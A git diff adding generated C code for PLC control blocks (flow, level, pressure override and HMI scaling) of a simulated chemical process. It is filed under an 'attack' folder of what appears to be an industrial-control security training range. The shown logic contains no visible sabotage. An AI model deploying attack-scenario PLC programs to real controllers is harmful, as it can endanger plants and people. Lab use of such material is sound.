__SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + (REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->INPUT_UINT,0,retain) + __INIT_VAR(data__->OUTPUT_INT,0,retain) + __INIT_VAR(data__->DIV3_OUT,0,retain) + __INIT_VAR(data__->ABS8_OUT,0,retain) + __INIT_VAR(data__->UINT_TO_INT9_OUT,0,retain) +} + +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV3_OUT,,DIV__UINT__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->INPUT_UINT,), + (UINT)2)); + __SET_VAR(data__->,ABS8_OUT,,ABS__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->DIV3_OUT,))); + __SET_VAR(data__->,UINT_TO_INT9_OUT,,UINT_TO_INT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->ABS8_OUT,))); + __SET_VAR(data__->,OUTPUT_INT,,__GET_VAR(data__->UINT_TO_INT9_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_SIGNED_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + __INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB86_OUT,0,retain) + __INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + __INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + __SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + __SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE92_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE92_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED0,retain); + __INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) + __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + __INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + __INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + __INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED1,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED2,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED3,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED4,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED5,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED6,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED7,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED8,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED9,retain); + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + __INIT_EXTERNAL(BOOL,RUN_BIT,data__->RUN_BIT,retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->ADD87_OUT,0,retain) + __INIT_VAR(data__->GE91_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + __SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->SCALE_TO_SIGNED0.,INPUT_UINT,,__GET_VAR(data__->PRESSURE,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED0); + __SET_VAR(data__->,HMI_PRESSURE,,__GET_VAR(data__->SCALE_TO_SIGNED0.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED1.,INPUT_UINT,,__GET_VAR(data__->LEVEL,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED1); + __SET_VAR(data__->,HMI_LEVEL,,__GET_VAR(data__->SCALE_TO_SIGNED1.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED2.,INPUT_UINT,,__GET_VAR(data__->F1_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED2); + __SET_VAR(data__->,HMI_F1_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED2.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED3.,INPUT_UINT,,__GET_VAR(data__->F2_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED3); + __SET_VAR(data__->,HMI_F2_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED3.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED4.,INPUT_UINT,,__GET_VAR(data__->PURGE_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED4); + __SET_VAR(data__->,HMI_PURGE_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED4.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED5.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED5); + __SET_VAR(data__->,HMI_PRODUCT_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED5.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED6.,INPUT_UINT,,__GET_VAR(data__->F1_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED6); + __SET_VAR(data__->,HMI_F1_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED6.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED7.,INPUT_UINT,,__GET_VAR(data__->F2_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED7); + __SET_VAR(data__->,HMI_F2_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED7.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED8.,INPUT_UINT,,__GET_VAR(data__->PURGE_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED8); + __SET_VAR(data__->,HMI_PURGE_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED8.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED9.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED9); + __SET_VAR(data__->,HMI_PRODUCT_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED9.OUTPUT_INT,)); + __SET_VAR(data__->,ADD87_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)1)); + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->ADD87_OUT,)); + __SET_VAR(data__->,GE91_OUT,,GE__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)32000)); + __SET_VAR(data__->,MOVE92_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->GE91_OUT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE92_ENO,)) { + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->MOVE92_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h new file mode 100644 index 0000000..9c89adb --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h @@ -0,0 +1,456 @@ +#include "beremiz.h" +#ifndef __POUS_H +#define __POUS_H + +#include "accessor.h" +#include "iec_std_lib.h" + +__DECLARE_ENUMERATED_TYPE(LOGLEVEL, + LOGLEVEL__CRITICAL, + LOGLEVEL__WARNING, + LOGLEVEL__INFO, + LOGLEVEL__DEBUG +) +// FUNCTION_BLOCK LOGGER +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,MSG) + __DECLARE_VAR(LOGLEVEL,LEVEL) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(BOOL,TRIG0) + +} LOGGER; + +void LOGGER_init__(LOGGER *data__, BOOL retain); +// Code part +void LOGGER_body__(LOGGER *data__); +// FUNCTION_BLOCK PYTHON_EVAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_EVAL; + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain); +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__); +// FUNCTION_BLOCK PYTHON_POLL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + 